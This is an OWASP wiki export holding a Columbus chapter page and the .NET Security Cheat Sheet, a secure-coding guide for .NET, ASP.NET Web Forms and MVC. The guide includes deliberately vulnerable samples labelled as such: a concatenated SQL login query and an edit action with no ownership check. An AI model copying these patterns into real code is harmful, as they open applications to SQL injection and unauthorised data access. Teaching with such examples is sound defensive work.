Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff.  All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Membership  ===&lt;br /&gt;
&lt;br /&gt;
There have been a lot of questions about membership.  Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here].  Remember to tell them you are interested in membership in the Columbus chapter.&lt;br /&gt;
&lt;br /&gt;
=== Stay in touch with Columbus OWASP  ===&lt;br /&gt;
&lt;br /&gt;
*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!&lt;br /&gt;
&lt;br /&gt;
*We're a group on [http://www.linkedin.com/groups?home=&amp;amp;gid=2796025 LinkedIn] as well, please join us. &lt;br /&gt;
&lt;br /&gt;
=== Become a voting member  ===&lt;br /&gt;
&lt;br /&gt;
We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics &amp;amp;amp; principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information. &lt;br /&gt;
&lt;br /&gt;
''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.'' &lt;br /&gt;
&lt;br /&gt;
=== We want your participation!  ===&lt;br /&gt;
&lt;br /&gt;
To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic. &lt;br /&gt;
&lt;br /&gt;
=== Sponsorship, too!  ===&lt;br /&gt;
&lt;br /&gt;
There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be [https://www.owasp.org/index.php/Single_Meeting_Supporter made online right now].&lt;br /&gt;
&lt;br /&gt;
== Previous Meetings  ==&lt;br /&gt;
&lt;br /&gt;
The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]&lt;br /&gt;
&lt;br /&gt;
== Columbus OWASP Chapter Leaders  ==&lt;br /&gt;
&lt;br /&gt;
Please feel free to contact the chapter leaders at any time. &lt;br /&gt;
&lt;br /&gt;
*[mailto:aaronansari@gmail.com Aaron Ansari] &lt;br /&gt;
*[mailto:Connie.Matthews(at)securicon.com  Connie Matthews] &lt;br /&gt;
*[mailto:bill(at)pointweb.net Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Chapter]] [[Category:Ohio]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233542</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233542"/>
				<updated>2017-09-20T15:02:02Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added Xander&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
        if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
  &amp;lt;configuration&amp;gt;&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
      &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/system.web&amp;gt;&lt;br /&gt;
    &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;security&amp;gt;&lt;br /&gt;
        &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;staticContent&amp;gt;&lt;br /&gt;
        &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
        &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
      &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;rewrite&amp;gt;&lt;br /&gt;
        &amp;lt;rules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/rules&amp;gt;&lt;br /&gt;
        &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
                pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
      &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
    &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
  &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* '''A1 SQL Injection'''&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* '''A2 Weak Account management'''&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''A3 Cross Site Scripting'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* '''A4 Insecure Direct object references'''&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* '''A5 Security Misconfiguration'''&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
